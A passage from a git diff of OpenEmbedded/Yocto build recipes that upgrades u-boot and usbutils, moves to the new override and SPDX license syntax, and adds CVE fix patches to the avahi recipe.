-SED_CONFIG_EFI_arm = ''
-SED_CONFIG_EFI_armeb = ''
-SED_CONFIG_EFI_aarch64 = ''
+SED_CONFIG_EFI:x86 = ''
+SED_CONFIG_EFI:x86-64 = ''
+SED_CONFIG_EFI:arm = ''
+SED_CONFIG_EFI:armeb = ''
+SED_CONFIG_EFI:aarch64 = ''
+SED_CONFIG_EFI:loongarch64 = ''
do_compile () {
- oe_runmake -C ${S} sandbox_defconfig O=${B}
+ # Yes, this is crazy. If you build on a system with git < 2.14 from scratch, the tree will
+ # be marked as "dirty" and the version will include "-dirty", leading to a reproducibility problem.
+ # The issue is the inode count for Licnses/README changing due to do_populate_lic hardlinking a
+ # copy of the file. We avoid this by ensuring the index is updated with a "git diff" before the
+ # u-boot machinery tries to determine the version.
+ #
+ # build$ ../git/scripts/setlocalversion ../git
+ # ""
+ # build$ ln ../git/
+ # build$ ln ../git/README ../foo
+ # build$ ../git/scripts/setlocalversion ../git
+ # ""-dirty
+ # (i.e. creating a hardlink dirties the index)
+ cd ${S}; git diff; cd ${B}
+
+ oe_runmake -C ${S} tools-only_defconfig O=${B}
# Disable CONFIG_CMD_LICENSE, license.h is not used by tools and
# generating it requires bin2header tool, which for target build
@@ -51,16 +70,21 @@ do_install () {
# fit_check_sign
install -m 0755 tools/fit_check_sign ${D}${bindir}/uboot-fit_check_sign
ln -sf uboot-fit_check_sign ${D}${bindir}/fit_check_sign
+
+ # mkeficapsule
+ install -m 0755 tools/mkeficapsule ${D}${bindir}/uboot-mkeficapsule
+ ln -sf uboot-mkeficapsule ${D}${bindir}/mkeficapsule
}
-ALLOW_EMPTY_${PN} = "1"
-FILES_${PN} = ""
-FILES_${PN}-mkimage = "${bindir}/uboot-mkimage ${bindir}/mkimage ${bindir}/uboot-dumpimage ${bindir}/dumpimage ${bindir}/uboot-fit_check_sign ${bindir}/fit_check_sign"
-FILES_${PN}-mkenvimage = "${bindir}/uboot-mkenvimage ${bindir}/mkenvimage"
+ALLOW_EMPTY:${PN} = "1"
+FILES:${PN} = ""
+FILES:${PN}-mkimage = "${bindir}/uboot-mkimage ${bindir}/mkimage ${bindir}/uboot-dumpimage ${bindir}/dumpimage ${bindir}/uboot-fit_check_sign ${bindir}/fit_check_sign"
+FILES:${PN}-mkenvimage = "${bindir}/uboot-mkenvimage ${bindir}/mkenvimage"
+FILES:${PN}-mkeficapsule = "${bindir}/uboot-mkeficapsule ${bindir}/mkeficapsule"
-RDEPENDS_${PN}-mkimage += "dtc"
-RDEPENDS_${PN} += "${PN}-mkimage ${PN}-mkenvimage"
-RDEPENDS_${PN}_class-native = ""
+RDEPENDS:${PN}-mkimage += "dtc"
+RDEPENDS:${PN} += "${PN}-mkimage ${PN}-mkenvimage ${PN}-mkeficapsule"
+RDEPENDS:${PN}:class-native = ""
BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-bsp/u-boot/u-boot-tools_2020.07.bb b/meta/recipes-bsp/u-boot/u-boot-tools_2024.04.bb
index 7eaf721ca8..7eaf721ca8 100644
--- a/meta/recipes-bsp/u-boot/u-boot-tools_2020.07.bb
+++ b/meta/recipes-bsp/u-boot/u-boot-tools_2024.04.bb
diff --git a/meta/recipes-bsp/u-boot/u-boot.inc b/meta/recipes-bsp/u-boot/u-boot.inc
index 251178db33..f5b43f6e36 100644
--- a/meta/recipes-bsp/u-boot/u-boot.inc
+++ b/meta/recipes-bsp/u-boot/u-boot.inc
@@ -3,13 +3,13 @@ PROVIDES = "virtual/bootloader"
PACKAGE_ARCH = "${MACHINE_ARCH}"
-DEPENDS += "kern-tools-native"
+DEPENDS += "${@bb.utils.contains('UBOOT_ENV_SUFFIX', 'scr', 'u-boot-mkimage-native', '', d)}"
-inherit uboot-config uboot-extlinux-config uboot-sign deploy cml1 python3native
+inherit uboot-config uboot-extlinux-config uboot-sign deploy python3native kernel-arch
DEPENDS += "swig-native"
-EXTRA_OEMAKE = 'CROSS_COMPILE=${TARGET_PREFIX} CC="${TARGET_PREFIX}gcc ${TOOLCHAIN_OPTIONS}" V=1'
+EXTRA_OEMAKE = 'CROSS_COMPILE=${TARGET_PREFIX} CC="${TARGET_PREFIX}gcc ${TOOLCHAIN_OPTIONS} ${DEBUG_PREFIX_MAP}" V=1'
EXTRA_OEMAKE += 'HOSTCC="${BUILD_CC} ${BUILD_CFLAGS} ${BUILD_LDFLAGS}"'
EXTRA_OEMAKE += 'STAGING_INCDIR=${STAGING_INCDIR_NATIVE} STAGING_LIBDIR=${STAGING_LIBDIR_NATIVE}'
@@ -24,82 +24,19 @@ PACKAGECONFIG[openssl] = ",,openssl-native"
# file already exists it will not be overwritten.
UBOOT_LOCALVERSION ?= ""
-# Some versions of u-boot use .bin and others use .img. By default use .bin
-# but enable individual recipes to change this value.
-UBOOT_SUFFIX ??= "bin"
-UBOOT_IMAGE ?= "u-boot-${MACHINE}-${PV}-${PR}.${UBOOT_SUFFIX}"
-UBOOT_SYMLINK ?= "u-boot-${MACHINE}.${UBOOT_SUFFIX}"
-UBOOT_MAKE_TARGET ?= "all"
-
-# Output the ELF generated. Some platforms can use the ELF file and directly
-# load it (JTAG booting, QEMU) additionally the ELF can be used for debugging
-# purposes.
-UBOOT_ELF ?= ""
-UBOOT_ELF_SUFFIX ?= "elf"
-UBOOT_ELF_IMAGE ?= "u-boot-${MACHINE}-${PV}-${PR}.${UBOOT_ELF_SUFFIX}"
-UBOOT_ELF_BINARY ?= "u-boot.${UBOOT_ELF_SUFFIX}"
-UBOOT_ELF_SYMLINK ?= "u-boot-${MACHINE}.${UBOOT_ELF_SUFFIX}"
-
-# Some versions of u-boot build an SPL (Second Program Loader) image that
-# should be packaged along with the u-boot binary as well as placed in the
-# deploy directory. For those versions they can set the following variables
-# to allow packaging the SPL.
-SPL_BINARY ?= ""
-SPL_BINARYNAME ?= "${@os.path.basename(d.getVar("SPL_BINARY"))}"
-SPL_IMAGE ?= "${SPL_BINARYNAME}-${MACHINE}-${PV}-${PR}"
-SPL_SYMLINK ?= "${SPL_BINARYNAME}-${MACHINE}"
-
-# Additional environment variables or a script can be installed alongside
-# u-boot to be used automatically on boot. This file, typically 'uEnv.txt'
-# or 'boot.scr', should be packaged along with u-boot as well as placed in the
-# deploy directory. Machine configurations needing one of these files should
-# include it in the SRC_URI and set the UBOOT_ENV parameter.
-UBOOT_ENV_SUFFIX ?= "txt"
-UBOOT_ENV ?= ""
-UBOOT_ENV_BINARY ?= "${UBOOT_ENV}.${UBOOT_ENV_SUFFIX}"
-UBOOT_ENV_IMAGE ?= "${UBOOT_ENV}-${MACHINE}-${PV}-${PR}.${UBOOT_ENV_SUFFIX}"
-UBOOT_ENV_SYMLINK ?= "${UBOOT_ENV}-${MACHINE}.${UBOOT_ENV_SUFFIX}"
-
# Default name of u-boot initial env, but enable individual recipes to change
# this value.
UBOOT_INITIAL_ENV ?= "${PN}-initial-env"
-# U-Boot EXTLINUX variables. U-Boot searches for /boot/extlinux/extlinux.conf
-# to find EXTLINUX conf file.
-UBOOT_EXTLINUX_INSTALL_DIR ?= "/boot/extlinux"
-UBOOT_EXTLINUX_CONF_NAME ?= "extlinux.conf"
-UBOOT_EXTLINUX_SYMLINK ?= "${UBOOT_EXTLINUX_CONF_NAME}-${MACHINE}-${PR}"
+require u-boot-configure.inc
-do_configure () {
- if [ -n "${UBOOT_CONFIG}" ]; then
- unset i j
- for config in ${UBOOT_MACHINE}; do
- i=$(expr $i + 1);
- for type in ${UBOOT_CONFIG}; do
- j=$(expr $j + 1);
- if [ $j -eq $i ]; then
- oe_runmake -C ${S} O=${B}/${config} ${config}
- if [ -n "${@' '.join(find_cfgs(d))}" ]; then
- merge_config.sh -m -O ${B}/${config} ${B}/${config}/.config ${@" ".join(find_cfgs(d))}
- oe_runmake -C ${S} O=${B}/${config} oldconfig
- fi
- fi
- done
- unset j
- done
- unset i
- DEVTOOL_DISABLE_MENUCONFIG=true
- else
- if [ -n "${UBOOT_MACHINE}" ]; then
- oe_runmake -C ${S} O=${B} ${UBOOT_MACHINE}
- else
- oe_runmake -C ${S} O=${B} oldconfig
- fi
- merge_config.sh -m .config ${@" ".join(find_cfgs(d))}
- cml1_do_configure
- fi
+do_savedefconfig() {
+ bbplain "Saving defconfig to:\n${B}/defconfig"
+ oe_runmake -C ${B} savedefconfig
}
-
+do_savedefconfig[nostamp] = "1"
+addtask savedefconfig after do_configure
+UBOOT_ARCH_DIR = "${@'arm' if d.getVar('UBOOT_ARCH').startswith('arm') else d.getVar('UBOOT_ARCH')}"
do_compile () {
if [ "${@bb.utils.filter('DISTRO_FEATURES', 'ld-is-gold', d)}" ]; then
sed -i 's/$(CROSS_COMPILE)ld$/$(CROSS_COMPILE)ld.bfd/g' ${S}/config.mk
@@ -128,7 +65,7 @@ do_compile () {
for binary in ${UBOOT_BINARIES}; do
k=$(expr $k + 1);
if [ $k -eq $i ]; then
- cp ${B}/${config}/${binary} ${B}/${config}/u-boot-${type}.${UBOOT_SUFFIX}
+ cp ${B}/${config}/${binary} ${B}/${config}/${UBOOT_BINARYNAME}-${type}.${UBOOT_SUFFIX}
fi
done
@@ -152,6 +89,11 @@ do_compile () {
oe_runmake -C ${S} O=${B} u-boot-initial-env
fi
fi
+
+ if [ -n "${UBOOT_ENV}" ] && [ "${UBOOT_ENV_SUFFIX}" = "scr" ]
+ then
+ ${UBOOT_MKIMAGE} -C none -A ${UBOOT_ARCH} -T script -d ${WORKDIR}/${UBOOT_ENV_SRC} ${WORKDIR}/${UBOOT_ENV_BINARY}
+ fi
}
do_install () {
@@ -163,9 +105,9 @@ do_install () {
j=$(expr $j + 1);
if [ $j -eq $i ]
then
- install -D -m 644 ${B}/${config}/u-boot-${type}.${UBOOT_SUFFIX} ${D}/boot/u-boot-${type}-${PV}-${PR}.${UBOOT_SUFFIX}
- ln -sf u-boot-${type}-${PV}-${PR}.${UBOOT_SUFFIX} ${D}/boot/${UBOOT_BINARY}-${type}
- ln -sf u-boot-${type}-${PV}-${PR}.${UBOOT_SUFFIX} ${D}/boot/${UBOOT_BINARY}
+ install -D -m 644 ${B}/${config}/${UBOOT_BINARYNAME}-${type}.${UBOOT_SUFFIX} ${D}/boot/${UBOOT_BINARYNAME}-${type}-${PV}-${PR}.${UBOOT_SUFFIX}
+ ln -sf ${UBOOT_BINARYNAME}-${type}-${PV}-${PR}.${UBOOT_SUFFIX} ${D}/boot/${UBOOT_BINARY}-${type}
+ ln -sf ${UBOOT_BINARYNAME}-${type}-${PV}-${PR}.${UBOOT_SUFFIX} ${D}/boot/${UBOOT_BINARY}
# Install the uboot-initial-env
if [ -n "${UBOOT_INITIAL_ENV}" ]; then
@@ -230,9 +172,9 @@ do_install () {
j=$(expr $j + 1);
if [ $j -eq $i ]
then
- install -m 644 ${B}/${config}/${SPL_BINARY} ${D}/boot/${SPL_IMAGE}-${type}-${PV}-${PR}
- ln -sf ${SPL_IMAGE}-${type}-${PV}-${PR} ${D}/boot/${SPL_BINARYNAME}-${type}
- ln -sf ${SPL_IMAGE}-${type}-${PV}-${PR} ${D}/boot/${SPL_BINARYNAME}
+ install -m 644 ${B}/${config}/${SPL_BINARY} ${D}/boot/${SPL_BINARYNAME}-${type}-${PV}-${PR}${SPL_DELIMITER}${SPL_SUFFIX}
+ ln -sf ${SPL_BINARYNAME}-${type}-${PV}-${PR}${SPL_DELIMITER}${SPL_SUFFIX} ${D}/boot/${SPL_BINARYFILE}-${type}
+ ln -sf ${SPL_BINARYNAME}-${type}-${PV}-${PR}${SPL_DELIMITER}${SPL_SUFFIX} ${D}/boot/${SPL_BINARYFILE}
fi
done
unset j
@@ -240,7 +182,7 @@ do_install () {
unset i
else
install -m 644 ${B}/${SPL_BINARY} ${D}/boot/${SPL_IMAGE}
- ln -sf ${SPL_IMAGE} ${D}/boot/${SPL_BINARYNAME}
+ ln -sf ${SPL_IMAGE} ${D}/boot/${SPL_BINARYFILE}
fi
fi
@@ -256,17 +198,21 @@ do_install () {
fi
}
-PACKAGE_BEFORE_PN += "${PN}-env"
+PACKAGE_BEFORE_PN += "${PN}-env ${PN}-extlinux"
-RPROVIDES_${PN}-env += "u-boot-default-env"
-ALLOW_EMPTY_${PN}-env = "1"
-FILES_${PN}-env = " \
+RPROVIDES:${PN}-env += "u-boot-default-env"
+ALLOW_EMPTY:${PN}-env = "1"
+FILES:${PN}-env = " \
${@ '${sysconfdir}/${UBOOT_INITIAL_ENV}*' if d.getVar('UBOOT_INITIAL_ENV') else ''} \
${sysconfdir}/fw_env.config \
"
-FILES_${PN} = "/boot ${datadir}"
-RDEPENDS_${PN} += "${PN}-env"
+FILES:${PN}-extlinux = "${UBOOT_EXTLINUX_INSTALL_DIR}/${UBOOT_EXTLINUX_CONF_NAME}"
+RDEPENDS:${PN} += "${@bb.utils.contains('UBOOT_EXTLINUX', '1', '${PN}-extlinux', '', d)}"
+
+SYSROOT_DIRS += "/boot"
+FILES:${PN} = "/boot ${datadir}"
+RDEPENDS:${PN} += "${PN}-env"
do_deploy () {
if [ -n "${UBOOT_CONFIG}" ]
@@ -277,12 +223,12 @@ do_deploy () {
j=$(expr $j + 1);
if [ $j -eq $i ]
then
- install -D -m 644 ${B}/${config}/u-boot-${type}.${UBOOT_SUFFIX} ${DEPLOYDIR}/u-boot-${type}-${PV}-${PR}.${UBOOT_SUFFIX}
+ install -D -m 644 ${B}/${config}/${UBOOT_BINARYNAME}-${type}.${UBOOT_SUFFIX} ${DEPLOYDIR}/${UBOOT_BINARYNAME}-${type}-${PV}-${PR}.${UBOOT_SUFFIX}
cd ${DEPLOYDIR}
- ln -sf u-boot-${type}-${PV}-${PR}.${UBOOT_SUFFIX} ${UBOOT_SYMLINK}-${type}
- ln -sf u-boot-${type}-${PV}-${PR}.${UBOOT_SUFFIX} ${UBOOT_SYMLINK}
- ln -sf u-boot-${type}-${PV}-${PR}.${UBOOT_SUFFIX} ${UBOOT_BINARY}-${type}
- ln -sf u-boot-${type}-${PV}-${PR}.${UBOOT_SUFFIX} ${UBOOT_BINARY}
+ ln -sf ${UBOOT_BINARYNAME}-${type}-${PV}-${PR}.${UBOOT_SUFFIX} ${UBOOT_SYMLINK}-${type}
+ ln -sf ${UBOOT_BINARYNAME}-${type}-${PV}-${PR}.${UBOOT_SUFFIX} ${UBOOT_SYMLINK}
+ ln -sf ${UBOOT_BINARYNAME}-${type}-${PV}-${PR}.${UBOOT_SUFFIX} ${UBOOT_BINARY}-${type}
+ ln -sf ${UBOOT_BINARYNAME}-${type}-${PV}-${PR}.${UBOOT_SUFFIX} ${UBOOT_BINARY}
# Deploy the uboot-initial-env
if [ -n "${UBOOT_INITIAL_ENV}" ]; then
@@ -358,12 +304,12 @@ do_deploy () {
j=$(expr $j + 1);
if [ $j -eq $i ]
then
- install -m 644 ${B}/${config}/${SPL_BINARY} ${DEPLOYDIR}/${SPL_IMAGE}-${type}-${PV}-${PR}
- rm -f ${DEPLOYDIR}/${SPL_BINARYNAME} ${DEPLOYDIR}/${SPL_SYMLINK}-${type}
- ln -sf ${SPL_IMAGE}-${type}-${PV}-${PR} ${DEPLOYDIR}/${SPL_BINARYNAME}-${type}
- ln -sf ${SPL_IMAGE}-${type}-${PV}-${PR} ${DEPLOYDIR}/${SPL_BINARYNAME}
- ln -sf ${SPL_IMAGE}-${type}-${PV}-${PR} ${DEPLOYDIR}/${SPL_SYMLINK}-${type}
- ln -sf ${SPL_IMAGE}-${type}-${PV}-${PR} ${DEPLOYDIR}/${SPL_SYMLINK}
+ install -m 644 ${B}/${config}/${SPL_BINARY} ${DEPLOYDIR}/${SPL_BINARYNAME}-${type}-${PV}-${PR}${SPL_DELIMITER}${SPL_SUFFIX}
+ rm -f ${DEPLOYDIR}/${SPL_BINARYFILE} ${DEPLOYDIR}/${SPL_SYMLINK}
+ ln -sf ${SPL_BINARYNAME}-${type}-${PV}-${PR}${SPL_DELIMITER}${SPL_SUFFIX} ${DEPLOYDIR}/${SPL_BINARYFILE}-${type}
+ ln -sf ${SPL_BINARYNAME}-${type}-${PV}-${PR}${SPL_DELIMITER}${SPL_SUFFIX} ${DEPLOYDIR}/${SPL_BINARYFILE}
+ ln -sf ${SPL_BINARYNAME}-${type}-${PV}-${PR}${SPL_DELIMITER}${SPL_SUFFIX} ${DEPLOYDIR}/${SPL_SYMLINK}-${type}
+ ln -sf ${SPL_BINARYNAME}-${type}-${PV}-${PR}${SPL_DELIMITER}${SPL_SUFFIX} ${DEPLOYDIR}/${SPL_SYMLINK}
fi
done
unset j
@@ -371,17 +317,14 @@ do_deploy () {
unset i
else
install -m 644 ${B}/${SPL_BINARY} ${DEPLOYDIR}/${SPL_IMAGE}
- rm -f ${DEPLOYDIR}/${SPL_BINARYNAME} ${DEPLOYDIR}/${SPL_SYMLINK}
ln -sf ${SPL_IMAGE} ${DEPLOYDIR}/${SPL_BINARYNAME}
ln -sf ${SPL_IMAGE} ${DEPLOYDIR}/${SPL_SYMLINK}
fi
fi
-
if [ -n "${UBOOT_ENV}" ]
then
install -m 644 ${WORKDIR}/${UBOOT_ENV_BINARY} ${DEPLOYDIR}/${UBOOT_ENV_IMAGE}
- rm -f ${DEPLOYDIR}/${UBOOT_ENV_BINARY} ${DEPLOYDIR}/${UBOOT_ENV_SYMLINK}
ln -sf ${UBOOT_ENV_IMAGE} ${DEPLOYDIR}/${UBOOT_ENV_BINARY}
ln -sf ${UBOOT_ENV_IMAGE} ${DEPLOYDIR}/${UBOOT_ENV_SYMLINK}
fi
@@ -392,6 +335,11 @@ do_deploy () {
ln -sf ${UBOOT_EXTLINUX_SYMLINK} ${DEPLOYDIR}/${UBOOT_EXTLINUX_CONF_NAME}-${MACHINE}
ln -sf ${UBOOT_EXTLINUX_SYMLINK} ${DEPLOYDIR}/${UBOOT_EXTLINUX_CONF_NAME}
fi
+
+ if [ -n "${UBOOT_DTB}" ]
+ then
+ install -m 644 ${B}/arch/${UBOOT_ARCH_DIR}/dts/${UBOOT_DTB_BINARY} ${DEPLOYDIR}/
+ fi
}
addtask deploy before do_build after do_compile
diff --git a/meta/recipes-bsp/u-boot/u-boot_2020.07.bb b/meta/recipes-bsp/u-boot/u-boot_2020.07.bb
deleted file mode 100644
index 02d67c0db2..0000000000
--- a/meta/recipes-bsp/u-boot/u-boot_2020.07.bb
+++ /dev/null
@@ -1,4 +0,0 @@
-require u-boot-common.inc
-require u-boot.inc
-
-DEPENDS += "bc-native dtc-native"
diff --git a/meta/recipes-bsp/u-boot/u-boot_2024.04.bb b/meta/recipes-bsp/u-boot/u-boot_2024.04.bb
new file mode 100644
index 0000000000..b15bcaa818
--- /dev/null
+++ b/meta/recipes-bsp/u-boot/u-boot_2024.04.bb
@@ -0,0 +1,5 @@
+require u-boot-common.inc
+require u-boot.inc
+
+DEPENDS += "bc-native dtc-native python3-pyelftools-native"
+
diff --git a/meta/recipes-bsp/usbinit/usbinit.bb b/meta/recipes-bsp/usbinit/usbinit.bb
index ef98f0bf62..3a50b835c2 100644
--- a/meta/recipes-bsp/usbinit/usbinit.bb
+++ b/meta/recipes-bsp/usbinit/usbinit.bb
@@ -4,10 +4,9 @@ all sorts of nifty things like SSH and NFS in one go plus charging over the \
same wire, at higher speeds than most Wifi connections."
HOMEPAGE = "http://linux-sunxi.org/USB_Gadget/Ethernet"
-LICENSE = "GPLv2"
+LICENSE = "GPL-2.0-only"
LIC_FILES_CHKSUM = "file://${WORKDIR}/COPYING.GPL;md5=751419260aa954499f7abaabaa882bbe"
-PR = "r3"
SRC_URI = "file://usb-gether \
file://COPYING.GPL"
diff --git a/meta/recipes-bsp/usbutils/usbutils/0001-usbutils.pc.in-Fix-Cflags-entry.patch b/meta/recipes-bsp/usbutils/usbutils/0001-usbutils.pc.in-Fix-Cflags-entry.patch
new file mode 100644
index 0000000000..039dd5cd72
--- /dev/null
+++ b/meta/recipes-bsp/usbutils/usbutils/0001-usbutils.pc.in-Fix-Cflags-entry.patch
@@ -0,0 +1,34 @@
+From f558919e858453a31313a3df35906de2e036940c Mon Sep 17 00:00:00 2001
+From: Fabio Estevam <festevam@denx.de>
+Date: Thu, 4 Jan 2024 03:32:11 +0100
+Subject: [PATCH] usbutils.pc.in: Fix Cflags entry
+
+When updating the usbutils version in OpenEmbedded from 015 to 017,
+the following QA error is seen:
+
+QA Issue: File /usr/lib/pkgconfig/usbutils.pc in package usbutils-dev contains reference to TMPDIR [buildpaths]
+
+As this causes reproducibility problem due to the host PC path being
+leaked, it is treated as error.
+
+Fix it by using the standard Cflags entry.
+
+Upstream-Status: Submitted [https://github.com/gregkh/usbutils/pull/184/commits/3b3e5e1ebea7060bfa118d25a91b816dfa176b31]
+Signed-off-by: Fabio Estevam <festevam@denx.de>
+---
+ usbutils.pc.in | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/usbutils.pc.in b/usbutils.pc.in
+index e69778c3195c..0aa0005de951 100644
+--- a/usbutils.pc.in
++++ b/usbutils.pc.in
+@@ -15,4 +15,4 @@ Requires: libusb-1.0 >= 1.0.14 libudev >= 196
+ Conflicts:
+ Libs: -L${libdir}
+ Libs.private: @LIBUSB_LIBS@ @UDEV_LIBS@
+-Cflags: @CFLAGS@ @LIBUSB_CFLAGS@ @UDEV_CFLAGS@
++Cflags: -I${includedir}
+--
+2.34.1
+
diff --git a/meta/recipes-bsp/usbutils/usbutils_012.bb b/meta/recipes-bsp/usbutils/usbutils_012.bb
deleted file mode 100644
index 28031e72a7..0000000000
--- a/meta/recipes-bsp/usbutils/usbutils_012.bb
+++ /dev/null
@@ -1,31 +0,0 @@
-SUMMARY = "Host side USB console utilities"
-DESCRIPTION = "Contains the lsusb utility for inspecting the devices connected to the USB bus."
-HOMEPAGE = "http://www.linux-usb.org"
-SECTION = "base"
-
-LICENSE = "GPLv2+ & (GPLv2 | GPLv3)"
-# License files went missing in 010, when 011 is released add LICENSES/* back
-LIC_FILES_CHKSUM = "file://lsusb.c;endline=1;md5=7d4861d978ff5ba7cb2b319ed1d4afe3 \
- file://lsusb.py.in;beginline=2;endline=2;md5=194d6a0226bf90f4f683e8968878b6cd"
-
-DEPENDS = "libusb1 virtual/libiconv udev"
-
-SRC_URI = "${KERNELORG_MIRROR}/linux/utils/usb/usbutils/usbutils-${PV}.tar.gz \
- "
-SRC_URI[md5sum] = "7484445cbcf04b3eacac892fe58f8d9f"
-SRC_URI[sha256sum] = "ae2e10aad530d95839b6f4d46cd41715eae6f0f1789310d793e9be21b3e7ae20"
-
-inherit autotools pkgconfig update-alternatives
-
-ALTERNATIVE_${PN} = "lsusb"
-ALTERNATIVE_PRIORITY = "100"
-
-# The binaries are mostly GPLv2+ apart from lsusb.py which is GPLv2 or v3.
-LICENSE_${PN} = "GPLv2+"
-LICENSE_${PN}-python = "GPLv2 | GPLv3"
-
-RRECOMMENDS_${PN} = "udev-hwdb"
-
-PACKAGE_BEFORE_PN =+ "${PN}-python"
-FILES_${PN}-python += "${bindir}/lsusb.py"
-RDEPENDS_${PN}-python = "python3-core"
diff --git a/meta/recipes-bsp/usbutils/usbutils_017.bb b/meta/recipes-bsp/usbutils/usbutils_017.bb
new file mode 100644
index 0000000000..a2e340ea4f
--- /dev/null
+++ b/meta/recipes-bsp/usbutils/usbutils_017.bb
@@ -0,0 +1,33 @@
+SUMMARY = "Host side USB console utilities"
+DESCRIPTION = "Contains the lsusb utility for inspecting the devices connected to the USB bus."
+HOMEPAGE = "http://www.linux-usb.org"
+SECTION = "base"
+
+LICENSE = "GPL-2.0-or-later & (GPL-2.0-only | GPL-3.0-only)"
+# License files went missing in 010, when 011 is released add LICENSES/* back
+LIC_FILES_CHKSUM = "file://lsusb.c;endline=1;md5=7226e442a172bcf25807246d7ef1eba1 \
+ file://lsusb.py.in;beginline=2;endline=2;md5=c443ada211d701156e42ea36d41625b3 \
+ "
+
+DEPENDS = "libusb1 virtual/libiconv udev"
+
+SRC_URI = "${KERNELORG_MIRROR}/linux/utils/usb/usbutils/usbutils-${PV}.tar.gz \
+ file://0001-usbutils.pc.in-Fix-Cflags-entry.patch \
+ "
+SRC_URI[sha256sum] = "f704c4cb78a060db88b43aac6ebfd3d93c2c5cf1d6dd0e42936faaf00814ab00"
+
+inherit autotools pkgconfig update-alternatives
+
+ALTERNATIVE:${PN} = "lsusb"
+ALTERNATIVE_PRIORITY = "100"
+
+# The binaries are mostly GPL-2.0-or-later apart from lsusb.py which is
+# GPL-2.0-only or GPL-3.0-only.
+LICENSE:${PN} = "GPL-2.0-or-later"
+LICENSE:${PN}-python = "GPL-2.0-only | GPL-3.0-only"
+
+RRECOMMENDS:${PN} = "udev-hwdb"
+
+PACKAGE_BEFORE_PN =+ "${PN}-python"
+FILES:${PN}-python += "${bindir}/lsusb.py"
+RDEPENDS:${PN}-python = "python3-core"
diff --git a/meta/recipes-bsp/v86d/v86d_0.1.10.bb b/meta/recipes-bsp/v86d/v86d_0.1.10.bb
index 84e27d2007..6151f0a7e2 100644
--- a/meta/recipes-bsp/v86d/v86d_0.1.10.bb
+++ b/meta/recipes-bsp/v86d/v86d_0.1.10.bb
@@ -1,13 +1,12 @@
SUMMARY = "User support binary for the uvesafb kernel module"
-HOMEPAGE = "http://dev.gentoo.org/~spock/projects/uvesafb/"
+HOMEPAGE = "https://tracker.debian.org/pkg/v86d"
+DESCRIPTION = "v86d provides a backend for kernel drivers that need to execute x86 BIOS code. The code is executed in a controlled environment and the results are passed back to the kernel via the netlink interface."
# the copyright info is at the bottom of README, expect break
-LICENSE = "GPLv2"
+LICENSE = "GPL-2.0-only"
LIC_FILES_CHKSUM = "file://README;md5=94ac1971e4f2309dc322d598e7b1f7dd"
-DEPENDS = "virtual/kernel"
-RRECOMMENDS_${PN} = "kernel-module-uvesafb"
-PR = "r2"
+RRECOMMENDS:${PN} = "kernel-module-uvesafb"
SRC_URI = "http://snapshot.debian.org/archive/debian/20110427T035506Z/pool/main/v/${BPN}/${BPN}_${PV}.orig.tar.gz \
file://Update-x86emu-from-X.org.patch \
diff --git a/meta/recipes-connectivity/avahi/avahi_0.8.bb b/meta/recipes-connectivity/avahi/avahi_0.8.bb
index c8a3f876aa..1f18d4491d 100644
--- a/meta/recipes-connectivity/avahi/avahi_0.8.bb
+++ b/meta/recipes-connectivity/avahi/avahi_0.8.bb
@@ -5,35 +5,47 @@ with no specific configuration. This tool implements IPv4LL, "Dynamic Configurat
IPv4 Link-Local Addresses" (IETF RFC3927), a protocol for automatic IP address \
configuration from the link-local 169.254.0.0/16 range without the need for a central \
server.'
-AUTHOR = "Lennart Poettering <lennart@poettering.net>"
HOMEPAGE = "http://avahi.org"
-BUGTRACKER = "https://github.com/lathiat/avahi/issues"
+BUGTRACKER = "https://github.com/avahi/avahi/issues"
SECTION = "network"
-# major part is under LGPLv2.1+, but several .dtd, .xsl, initscripts and
-# python scripts are under GPLv2+
-LICENSE = "GPLv2+ & LGPLv2.1+"
+# major part is under LGPL-2.1-or-later, but several .dtd, .xsl, initscripts and
+# python scripts are under GPL-2.0-or-later
+LICENSE = "GPL-2.0-or-later & LGPL-2.1-or-later"
LIC_FILES_CHKSUM = "file://LICENSE;md5=2d5025d4aa3495befef8f17206a5b0a1 \
file://avahi-common/address.h;endline=25;md5=b1d1d2cda1c07eb848ea7d6215712d9d \
file://avahi-core/dns.h;endline=23;md5=6fe82590b81aa0ddea5095b548e2fdcb \
file://avahi-daemon/main.c;endline=21;md5=9ee77368c5407af77caaef1b07285969 \
file://avahi-client/client.h;endline=23;md5=f4ac741a25c4f434039ba3e18c8674cf"
-SRC_URI = "https://github.com/lathiat/avahi/releases/download/v${PV}/avahi-${PV}.tar.gz \
+SRC_URI = "${GITHUB_BASE_URI}/download/v${PV}/avahi-${PV}.tar.gz \
file://00avahi-autoipd \
file://99avahi-autoipd \
file://initscript.patch \
file://0001-Fix-opening-etc-resolv.conf-error.patch \
+ file://handle-hup.patch \
+ file://local-ping.patch \
+ file://invalid-service.patch \
+ file://CVE-2023-1981.patch \
+ file://CVE-2023-38469-1.patch \
+ file://CVE-2023-38469-2.patch \
+ file://CVE-2023-38470-1.patch \
+ file://CVE-2023-38470-2.patch \
+ file://CVE-2023-38471-1.patch \
+ file://CVE-2023-38471-2.patch \
+ file://CVE-2023-38472.patch \
+ file://CVE-2023-38473.patch \
"
-UPSTREAM_CHECK_URI = "https://github.com/lathiat/avahi/releases/"
-SRC_URI[md5sum] = "229c6aa30674fc43c202b22c5f8c2be7"
+GITHUB_BASE_URI = "https://github.com/avahi/avahi/releases/"
SRC_URI[sha256sum] = "060309d7a333d38d951bc27598c677af1796934dbd98e1024e7ad8de798fedda"
-DEPENDS = "expat libcap libdaemon glib-2.0 intltool-native"
+CVE_STATUS[CVE-2021-26720] = "not-applicable-platform: Issue only affects Debian/SUSE"
+
+DEPENDS = "expat libcap libdaemon glib-2.0 glib-2.0-native"
# For gtk related PACKAGECONFIGs: gtk, gtk3
-AVAHI_GTK ?= "gtk3"
+AVAHI_GTK ?= ""
PACKAGECONFIG ??= "dbus ${@bb.utils.contains_any('DISTRO_FEATURES','x11 wayland','${AVAHI_GTK}','',d)}"
PACKAGECONFIG[dbus] = "--enable-dbus,--disable-dbus,dbus"
@@ -43,7 +55,7 @@ PACKAGECONFIG[libdns_sd] = "--enable-compat-libdns_sd --enable-dbus,,dbus"
PACKAGECONFIG[libevent] = "--enable-libevent,--disable-libevent,libevent"
PACKAGECONFIG[qt5] = "--enable-qt5,--disable-qt5,qtbase"
-inherit autotools pkgconfig gettext gobject-introspection
+inherit autotools pkgconfig gettext gobject-introspection github-releases
EXTRA_OECONF = "--with-avahi-priv-access-group=adm \
--disable-stack-protector \
@@ -62,23 +74,22 @@ EXTRA_OECONF = "--with-avahi-priv-access-group=adm \
